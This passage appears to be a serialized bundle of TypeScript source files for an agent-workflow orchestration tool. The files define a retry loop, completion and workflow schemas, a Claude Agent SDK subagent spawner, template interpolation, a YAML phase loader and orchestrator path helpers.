LOCKED).\n * `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n * iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n maxIter: number,\n): Promise<string> {\n let last = ''\n let sessionId: string | undefined\n for (let i = 0; i < maxIter; i++) {\n last = await spawn(sessionId, (id) => {\n sessionId = id\n })\n if (isComplete(last)) return last\n }\n throw new MaxIterationsExceededError(maxIter)\n}\n\nexport type {\n FallbackMaxIterationsExceededConfig,\n MaxIterFallbackCtx,\n VerbatimFallbackCtx,\n} from './fallbackHandlers.js'\nexport { handleMaxIterationsExceeded, handleVerbatimCompleteFail } from './fallbackHandlers.js'\n","// v3.4.4 Phase 6 — hoisted from src/routing/completionSchema.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// execute-task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n type: 'object',\n properties: {\n status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n summary: { type: 'string' },\n blockers: { type: 'array', items: { type: 'string' } },\n // v3.5.0 Phase 2 — Option 1-Lite signal-driven Agent Teams escalation.\n // spawned subagent SHOULD set this when any of parallelism-gate.yaml 5\n // upgrade triggers fire. harnessed runtime propagates to stderr hint;\n // user opens team in main Claude Code session (TeamCreate not exposed to\n // spawned subagents via SDK v0.3.142 — see PHASE-2-SPEC.md § Why).\n needs_teams_escalation: { type: 'boolean' },\n escalation_reason: { type: 'string' },\n },\n required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n * detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n subtype?: string\n structured_output?: {\n status?: CompletionStatus\n // v3.5.0 Phase 2 — Option 1-Lite escalation fields (D1).\n needs_teams_escalation?: boolean\n escalation_reason?: string\n }\n text?: string\n result?: string\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/sdkReconcile.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n// SDK input layer = 5 fields (description / tools? / disallowedTools? / prompt / model?)\n// prompt-inject layer = 9 fields (skills / mcpServers / memory / maxTurns / background /\n// effort / permissionMode / initialPrompt /\n// criticalSystemReminder_EXPERIMENTAL)\n// factory-internal total = 14 (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from './agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n * Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n return {\n description: def.description,\n prompt: def.prompt,\n ...(def.tools ? { tools: def.tools } : {}),\n ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n ...(def.model ? { model: def.model } : {}),\n }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n * as a structured suffix to `basePrompt`. Callers use this when running an\n * AgentDefinition through an SDK-input path that does NOT natively carry the\n * 9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n * registration). Sections are emitted only when the field is present.\n * Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n const parts: string[] = [basePrompt]\n if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n if (def.mcpServers && Object.keys(def.mcpServers).length) {\n parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n }\n if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n if (def.background) parts.push(`## Background\\nfire-and-forget`)\n if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n if (def.criticalSystemReminder_EXPERIMENTAL) {\n parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n }\n return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n// layer 1 outer PRIMARY — env.structured_output.status === 'COMPLETE'\n// layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n// layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n// layer 4 final FAIL — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from './agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from './completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n expertName: string\n /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n resumeSessionId?: string\n /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n constructor(public lastMessage?: SDKResultMessage) {\n super('sdkSpawn produced no result message')\n this.name = 'SpawnFailError'\n }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n * Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n * (4-layer dual-signal). On success the envelope carries the structured\n * output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n * degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n const queryOptions: Record<string, unknown> = {\n allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n agents: { [opts.expertName]: sdkDef },\n // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n }\n if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n let result: SDKResultMessage | undefined\n for await (const msg of q as AsyncIterable<SDKMessage>) {\n if (msg.type === 'system' && msg.subtype === 'init') {\n opts.onSessionId?.(msg.session_id)\n }\n if (msg.type === 'result') {\n result = msg as SDKResultMessage\n }\n }\n if (!result) throw new SpawnFailError()\n\n // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n const structuredOutput =\n 'structured_output' in result\n ? (result.structured_output as SdkResultEnvelope['structured_output'])\n : undefined\n const subtype: ResultSubtype = result.subtype\n const text = 'result' in result ? result.result : undefined\n\n const envelope: SdkResultEnvelope = {\n subtype,\n ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n ...(text != null ? { text, result: text } : {}),\n }\n return JSON.stringify(envelope)\n}\n","// src/workflow/interpolate.ts — Phase 3.2 W1 T1.6 (D-02 JINJA LOCKED).\n// Karpathy YAGNI ≤30L — zero npm template-lib dep (sister Phase 3.1 D-02 zero\n// FSM-lib precedent). Throws on undefined var + on any {{ ... }} that strict\n// regex misses (fail-loud per RESEARCH § 3 — strict_variables=True equivalent).\nexport class InterpolationError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'InterpolationError'\n }\n}\nconst STRICT = /\\{\\{\\s*(\\w+)\\s*\\}\\}/g\nconst ANY_TEMPLATE = /\\{\\{[^}]*\\}\\}/\n/** Substitute {{ var }} placeholders in template with vars[name]. Throws on\n * undefined var OR residual {{ ... }} (e.g. `{{ a.b }}` — `\\w+` 不命中 '.',\n * fail-loud per RESEARCH § 2.3 fixture 5 + § 3 strict_variables=True). */\nexport function interpolate(template: string, vars: Record<string, string>): string {\n const out = template.replace(STRICT, (_m, name: string) => {\n const v = vars[name]\n if (v === undefined) {\n throw new InterpolationError(\n `undefined template variable '${name}' (template excerpt: ${template.slice(0, 80)})`,\n )\n }\n return v\n })\n if (ANY_TEMPLATE.test(out)) {\n throw new InterpolationError(`unsupported template syntax in: ${out.slice(0, 80)}`)\n }\n return out\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — execute-task 省 token):\n// 每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n// `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (workflows/execute-task/phases.yaml T3.3):\n// 01-clarify = opus (任务复杂度澄清)\n// 02-code = sonnet (心法 always-on)\n// 03-test = sonnet (conditional TDD)\n// 04-deliver = haiku (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = Type.Union([\n Type.Literal('haiku'),\n Type.Literal('sonnet'),\n Type.Literal('opus'),\n Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n name: Type.String({ minLength: 1 }),\n upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n model: ModelTier, // 必填 (B-08)\n skills: Type.Optional(Type.Array(Type.String())),\n max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n invokes: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n {\n workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n phases: Type.Array(PhaseEntry, { minItems: 1 }),\n // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n },\n { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// src/workflow/schema/workflow.ts — Phase v3.0-3.3 W0 T3.3.W0.5 (R30.9 + D-09 + D-05 + D-01).\n// TypeBox schema for harnessed.workflow.v3 — covers 20 workflow yaml v3 surfaces\n// (4 master orchestrator + 14 sub-stage + 2 standalone per D-07) per\n// D-04 + D-09 + D-05 + D-01 NEW + Pattern A A.1 reconcile (strict Literal Union).\n//\n// v2 → v3 字段 delta (sister Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED v2 86L):\n// BUMP `schema_version: 'harnessed.workflow.v3'` (17th surface in schemaVersion.ts)\n// ADD `disciplines_applied` — strict Literal Union of 6 basename (D-09 + Pattern A A.1)\n// ADD `tools_available` — string[] capabilities.yaml entry name (D-05)\n// ADD `delegates_to` — DelegationClause[] master orchestrator only (D-01 NEW)\n// ADD phase.`invokes_tools` — InvokeToolClause[] conditional fire (D-05)\n// CHANGE `phases` to Optional — master has delegates_to only, sub/standalone has phases\n//\n// Runtime invariant (NOT schema): every parsed yaml must have phases[] OR delegates_to[]\n// (engine asserts in `runWorkflow`); BOTH absent → fail-fast.\n//\n// IMPL NOTE: workflow engine pre-resolves `gate` / `parallelism` 4-level ref via\n// T2.3.W0.4 judgmentResolver BEFORE expr-eval evaluation.\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 mitigation.\n// Pattern A A.1 strict Literal Union LOCKED — typo basename ('karpatHy' etc) fails fast.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\n// Pattern A A.1 LOCK — strict Literal Union of 6 discipline basename (D-09).\n// Typo ('karpatHy' / 'output_style') fails Value.Check fast; sister 6 yaml file basename verbatim.\nexport const DisciplineName = Type.Union([\n Type.Literal('karpathy'),\n Type.Literal('output-style'),\n Type.Literal('language'),\n Type.Literal('operational'),\n Type.Literal('priority'),\n Type.Literal('protocols'),\n])\n\nexport const OnClause = Type.Object(\n {\n if: Type.String(), // expr-eval expression OR judgments.<file>.<gate>.fires ref\n invoke: Type.Optional(Type.String()), // '{{ capabilities.<name>.cmd }}' OR literal\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\n// D-05 NEW — phase-level conditional tool fire (sister OnClause 'if?' + 主语段 style).\nexport const InvokeToolClause = Type.Object(\n {\n if: Type.Optional(Type.String()), // optional — 无 if = unconditional fire\n tool: Type.String({ minLength: 1 }), // capabilities.yaml entry name (cross-validate T3.3.W0.10)\n },\n { additionalProperties: false },\n)\n\n// D-01 NEW — master orchestrator declarative delegation (replaces phase-level invokes for master).\nexport const DelegationClause = Type.Object(\n {\n sub: Type.String({ minLength: 1 }), // sub-stage workflow name e.g. 'strategic' / 'phase' / 'subtask'\n gate: Type.Optional(Type.String()), // judgments.<file>.<trigger>.fires 4-level ref\n mode: Type.Optional(Type.Union([Type.Literal('parallel'), Type.Literal('serial')])),\n order: Type.Optional(Type.Number()), // serial-only: explicit ordering (K9 mitigation enforced in check-workflow-schema)\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceeded = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'), // R20.10 acceptance c \"explicit NOT silent\"\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallback = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceeded),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV3 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()), // '{{ capabilities.ralph-loop.cmd }}'\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()), // legacy slash-cmd OR JINJA template\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()), // judgments.<file>.<gate>.fires 4-level ref\n on: Type.Optional(Type.Array(OnClause)),\n parallelism: Type.Optional(Type.String()), // judgments.parallelism-gate.<route>.fires\n fallback: Type.Optional(PhaseFallback),\n max_iterations: Type.Optional(\n Type.Union([Type.Number(), Type.String()]), // numeric literal OR jinja '{{ defaults.x.y }}'\n ),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n invokes_tools: Type.Optional(Type.Array(InvokeToolClause)), // NEW v3 D-05 phase-level conditional fire\n // v3.8.0 P1 — Conditional RULES inject. Empty/absent → DEFAULT_INJECTS_RULES\n // (escalation + transparent-skip, ~470 tokens). Declare full list\n // ['escalation', 'transparent-skip', 'agent-teams-prevention'] on phases\n // that genuinely involve Agent Teams escalation (task-deliver / task-test /\n // verify-multispec). Unknown rule names silently filtered at runtime\n // (forward-compat for future RULES additions).\n injects_rules: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV3 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow_v3),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n disciplines_applied: Type.Optional(Type.Array(DisciplineName)), // NEW v3 D-09 (Pattern A A.1 strict Literal Union)\n tools_available: Type.Optional(Type.Array(Type.String())), // NEW v3 D-05 (cross-validate T3.3.W0.10)\n delegates_to: Type.Optional(Type.Array(DelegationClause)), // NEW v3 D-01 (master orchestrator only)\n phases: Type.Optional(Type.Array(WorkflowPhaseV3, { minItems: 1 })), // 改 Optional — master 无 phases, sub/standalone 必有\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV3T = Static<typeof WorkflowPhaseV3>\nexport type WorkflowSchemaV3T = Static<typeof WorkflowSchemaV3>\nexport type DelegationClauseT = Static<typeof DelegationClause>\nexport type InvokeToolClauseT = Static<typeof InvokeToolClause>\nexport type DisciplineNameT = Static<typeof DisciplineName>\nexport type FallbackMaxIterationsExceededT = Static<typeof FallbackMaxIterationsExceeded>\nexport type PhaseFallbackT = Static<typeof PhaseFallback>\nexport type OnClauseT = Static<typeof OnClause>\n\n// v2 backward-compat re-export — sister run.ts + checker still reads v2 yaml during transition.\n// Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED — KEEP for Phase v3.0-3.3 setup-helpers v2 deprecation period.\n// CHANGELOG: drop v2 alias post v3.0 GA + setup-helpers nested scan + v2 yaml removed.\nexport {\n type PhaseShape,\n WorkflowPhaseV2,\n type WorkflowPhaseV2T,\n WorkflowSchemaV2,\n type WorkflowSchemaV2T,\n} from './workflow.v2.js'\n","// src/workflow/schema/workflow.v2.ts — Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED schema.\n// SPLIT from workflow.ts during Phase v3.0-3.3 W0 T3.3.W0.5 (v3 schema bump) to\n// preserve karpathy ≤200L hard limit + maintain v2 yaml backward-compat during\n// setup-helpers v2 deprecation period (T3.3.W0.12).\n//\n// Removal target: Phase v3.0 GA + 1 minor cycle (sister CHANGELOG alias map period).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\nexport const OnClauseV2 = Type.Object(\n {\n if: Type.String(),\n invoke: Type.Optional(Type.String()),\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceededV2 = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'),\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallbackV2 = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceededV2),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV2 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()),\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()),\n on: Type.Optional(Type.Array(OnClauseV2)),\n parallelism: Type.Optional(Type.String()),\n fallback: Type.Optional(PhaseFallbackV2),\n max_iterations: Type.Optional(Type.Union([Type.Number(), Type.String()])),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV2 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n phases: Type.Array(WorkflowPhaseV2, { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV2T = Static<typeof WorkflowPhaseV2>\nexport type WorkflowSchemaV2T = Static<typeof WorkflowSchemaV2>\n/** Alias of `WorkflowPhaseV2T` — sister deferred-items.md T2.4.W1.5 path-A naming. */\nexport type PhaseShape = WorkflowPhaseV2T\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1) OR\n// WorkflowSchemaV2 (T2.4.W1.1 Option A++ dispatch by `schema_version`).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; sister `workflows/execute-task/phases.yaml` has no invokes).\n//\n// Phase v2.0-2.4 W1.1 T2.4.W1.1 (Option A++ team-lead arbitration) — schema\n// dispatch on root `schema_version` field. v2 yaml validates against\n// WorkflowSchemaV2 and the v2 shape is returned unchanged (structural superset\n// of v1 — legacy v1 readers safely access the v1 subset; engine catch handler\n// reads `phase.fallback.max_iterations_exceeded.*` for R20.10 explicit halt).\n// Legacy yaml without `schema_version` falls back to PhasesSchema v1 path.\n//\n// Phase v3.4.4 — add v3 dispatch arm mirroring v2 pattern; master yamls (no\n// phases) validate via WorkflowSchemaV3 Optional phases field. JINJA loop now\n// guards `validated.phases` (master shape has phases === undefined).\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\nimport {\n WorkflowSchemaV2,\n type WorkflowSchemaV2T,\n WorkflowSchemaV3,\n type WorkflowSchemaV3T,\n} from './schema/workflow.js'\n\nexport class PhasesValidationError extends Error {\n constructor(public errors: ValueError[]) {\n super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n this.name = 'PhasesValidationError'\n }\n}\n\nexport type LoadedPhases = PhasesSchemaType | WorkflowSchemaV2T | WorkflowSchemaV3T\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n * violation. If `vars` provided, interpolates {{ var }} in each phase's\n * `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA).\n *\n * T2.4.W1.1 v2 dispatch (Option A++): yaml with `schema_version:\n * harnessed.workflow.v2` validates against `WorkflowSchemaV2` and is returned\n * unchanged. Legacy v1 consumers read the v1 subset (workflow + phases[id,\n * name, upstream, model, max_iterations, invokes]) which the v2 shape\n * structurally contains; engine catch handler reads `phase.fallback`. */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): LoadedPhases {\n const raw = readFileSync(yamlPath, 'utf8')\n const parsed = parseYaml(raw) as { schema_version?: string } | null\n\n const version = parsed?.schema_version\n if (version === 'harnessed.workflow.v3') {\n if (!Value.Check(WorkflowSchemaV3, parsed)) {\n throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV3, parsed)])\n }\n } else if (version === 'harnessed.workflow.v2') {\n if (!Value.Check(WorkflowSchemaV2, parsed)) {\n throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV2, parsed)])\n }\n } else {\n if (!Value.Check(PhasesSchema, parsed)) {\n throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n }\n }\n const validated = parsed as LoadedPhases\n\n // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n // Phase v3.4.4 — guard `validated.phases` (v3 master shape has phases === undefined).\n if (vars && validated.phases) {\n for (const ph of validated.phases) {\n if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n }\n }\n return validated\n}\n","// masterOrchestrator-helpers.ts — v3.1.0 split from masterOrchestrator.ts (karpathy ≤200L hard\n// limit per project memory). v3.2.0 extend — adds /auto super-master pre-flight hook\n// (complexity assessment + understanding check) + retro mandatory invariant note.\n//\n// Sister masterOrchestrator.ts orchestration core stays focused on:gate eval + serial/parallel\n// split + arbitrate + spawn loop。Default IO helpers (fs spawn driver / stdin pause prompt /\n// yaml path resolver / pre-flight hook) live here for test DI override clarity。\n\nimport { resolve } from 'node:path'\nimport {\n arbitrateBeforeSpawn,\n type FiredCapability,\n} from '../discipline/enforcement/before-spawn.js'\nimport type {\n GateEvaluation,\n MasterName,\n MasterRunOpts,\n SpawnDriver,\n} from './masterOrchestrator.js'\nimport { runWorkflow } from './run.js'\nimport type { DelegationClauseT, WorkflowSchemaV3T } from './schema/workflow.js'\n\n/** v3.1.0 — Super-master `/auto` 走 top-level standalone `workflows/auto/workflow.yaml`\n * (sister research/retro layout); 4 stage-master 仍 走 `workflows/<name>/auto/workflow.yaml`。 */\nexport function resolveMasterYamlPath(masterName: MasterName, packageRoot: string): string {\n return masterName === 'auto'\n ? resolve(packageRoot, 'workflows', 'auto', 'workflow.yaml')\n : resolve(packageRoot, 'workflows', masterName, 'auto', 'workflow.yaml')\n}\n\n/** v3.1.0 — Super-master `/auto` recursive spawn: sub ∈ {discuss,plan,task,verify} spawn to\n * stage-master `workflows/<sub>/auto/workflow.yaml` (一层抽象 verbatim); 其他 master spawn to\n * `workflows/<masterName>/<subName>/workflow.yaml` (原 sub-workflow 行为)。\n * v3.2.0 — `research` / `retro` sub spawn to standalone top-level `workflows/<sub>/workflow.yaml`. */\nexport function resolveSubYamlPath(\n masterName: MasterName,\n subName: string,\n packageRoot: string,\n): string {\n if (masterName === 'auto') {\n // v3.2.0 — research + retro are top-level standalone (NOT stage-master nested)\n if (subName === 'research' || subName === 'retro') {\n return resolve(packageRoot, 'workflows', subName, 'workflow.yaml')\n }\n // 4 stage-master nested at workflows/<sub>/auto/workflow.yaml\n return resolve(packageRoot, 'workflows', subName, 'auto', 'workflow.yaml')\n }\n return resolve(packageRoot, 'workflows', masterName, subName, 'workflow.yaml')\n}\n\nexport const defaultSpawnDriver: SpawnDriver = async (\n masterName,\n subName,\n _context,\n packageRoot,\n) => {\n const subYamlPath = resolveSubYamlPath(masterName, subName, packageRoot)\n // Path A — SDK query recursive call runWorkflow at sub yaml(in-process)。\n // K8:engine 共享 1 context snapshot,passed unchanged(`gateContext`)。\n // Path B fallback hook:try/catch SDK error → sub-shell `harnessed` CLI invoke。\n try {\n await runWorkflow(subYamlPath, {}, { packageRoot, gateContext: _context })\n } catch (err) {\n // Path B sub-shell fallback(sister Phase 2.5 W2.3 error 降级 pattern)\n // — T3.5.W2.1 dogfood LOCK 时收紧 cmd surface;v3.0 default 仅记 warn 不真 exec\n // sub-shell(避免 spawn 调用栈 unintended side-effect)。\n console.warn(\n `⚠️ master spawnSubWorkflow Path A failed for ${masterName}/${subName} ` +\n `(${(err as Error).message});Path B 